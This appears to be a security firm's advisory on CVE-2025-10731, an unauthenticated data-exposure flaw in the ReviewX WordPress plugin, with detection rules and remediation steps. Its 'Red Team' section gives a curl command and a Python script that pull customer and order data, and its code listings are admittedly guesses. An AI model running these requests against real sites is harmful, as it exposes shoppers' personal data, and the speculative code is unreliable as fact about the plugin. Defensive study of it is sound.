CVE-2025-10731

Executive Summary

CVE-2025-10731 is a Sensitive Information Exposure vulnerability in the ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More WordPress plugin. The flaw resides in the allReminderSettings function, which is accessible to unauthenticated attackers. This allows the exposure of authentication tokens and subsequently the bypass of admin restrictions, leading to the exfiltration of sensitive data including order details, customer names, emails, addresses, phone numbers, and other user information. The vulnerability affects all versions up to and including 2.2.12. As of this report, no official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the impact is severe due to the nature of exposed data.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the ReviewX plugin. It is not a supply chain attack on the WordPress core or PHP itself, but rather a flaw in a third-party plugin distributed via the WordPress plugin repository. Administrators should treat this as a high-risk component in their software supply chain and consider removing or disabling the plugin until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (but cumulative exposure of multiple records can be high)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is 5.3, the actual risk is elevated because the exposed data (PII, order details) can be used for targeted phishing, identity theft, or further attacks. The lack of authentication requirements makes it trivially exploitable.

Deep Dive & Mechanics

The vulnerability exists in the allReminderSettings function within the ReviewX plugin. This function is intended to be used by administrators to manage reminder email settings and export data. However, the function does not properly check for authentication or authorization before executing. An unauthenticated attacker can directly call this function via a WordPress AJAX action or REST endpoint.

The function likely retrieves and returns sensitive data such as:

• Authentication tokens (e.g., WordPress nonces, API keys)
• Order details (order IDs, products, amounts)
• Customer personal information (names, emails, addresses, phone numbers)

The exposure of authentication tokens is particularly dangerous because it can allow an attacker to impersonate an admin user and perform further actions, such as modifying plugin settings or accessing other protected data.

The vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.

Vulnerable vs. Patched Code

Since no official patch is available, we can only analyze the vulnerable code pattern. The vulnerable function likely looks like this:

Vulnerable Code (all versions <= 2.2.12):

public function allReminderSettings() {
    // No authentication check
    $data = $this->get_all_reminder_data(); // Returns sensitive data
    wp_send_json_success($data);
}

Patched Code (hypothetical):

public function allReminderSettings() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $data = $this->get_all_reminder_data();
    wp_send_json_success($data);
}

The fix would involve adding a capability check (e.g., current_user_can('manage_options')) or a nonce verification before processing the request.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with ReviewX plugin version <= 2.2.12 installed and active.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint. The function is likely registered via wp_ajax_* and wp_ajax_nopriv_* hooks. An attacker can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable function name.

2. Craft the exploit request. Using curl:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
        -d "action=allReminderSettings"
   

3. Parse the response. The server will return a JSON object containing sensitive data.

Example Exploit Script (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {"action": "allReminderSettings"}
response = requests.post(target, data=data)
if response.status_code == 200:
    print(response.json())
else:
    print("Exploit failed")

Blue Team (Defender)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with the action parameter set to allReminderSettings from unauthenticated sources.
• Look for unusual spikes in data export activity.

Mitigation:

• Immediately disable or remove the ReviewX plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint.
• Restrict access to /wp-admin/admin-ajax.php using IP whitelisting or additional authentication.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=allReminderSettings
  • Outbound data transfers containing JSON with fields like order_id, customer_name, email, address, phone
• File IOCs:
  • Presence of the ReviewX plugin directory: /wp-content/plugins/reviewx/
  • Version file: /wp-content/plugins/reviewx/readme.txt showing version <= 2.2.12
• Log IOCs:
  • WordPress debug log entries showing calls to allReminderSettings without authentication
  • Web server access logs with POST /wp-admin/admin-ajax.php and action=allReminderSettings

Detection Engineering

YARA Rule

rule CVE_2025_10731_ReviewX_Exposure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10731 in ReviewX plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10731"
    strings:
        $ajax_action = "allReminderSettings"
        $sensitive_data = /\"order_id\"|\"customer_name\"|\"email\"|\"address\"|\"phone\"/
    condition:
        $ajax_action and $sensitive_data
}

Sigma Rule

title: CVE-2025-10731 ReviewX Sensitive Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to the allReminderSettings endpoint in ReviewX plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=allReminderSettings'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-10731 ReviewX Sensitive Information Exposure";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=allReminderSettings";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable or remove the ReviewX plugin from all WordPress installations until an official patch is released.
2. Workaround: If the plugin is critical, implement a WAF rule to block requests to /wp-admin/admin-ajax.php with action=allReminderSettings from unauthenticated users.
3. Monitoring: Enable detailed logging for AJAX requests and monitor for suspicious activity.
4. Patch: Apply the official patch as soon as it becomes available from the vendor.
5. User Notification: If exploitation is suspected, notify affected users and advise them to change passwords and monitor for fraud.

Valters IT
Securing Digital Frontiers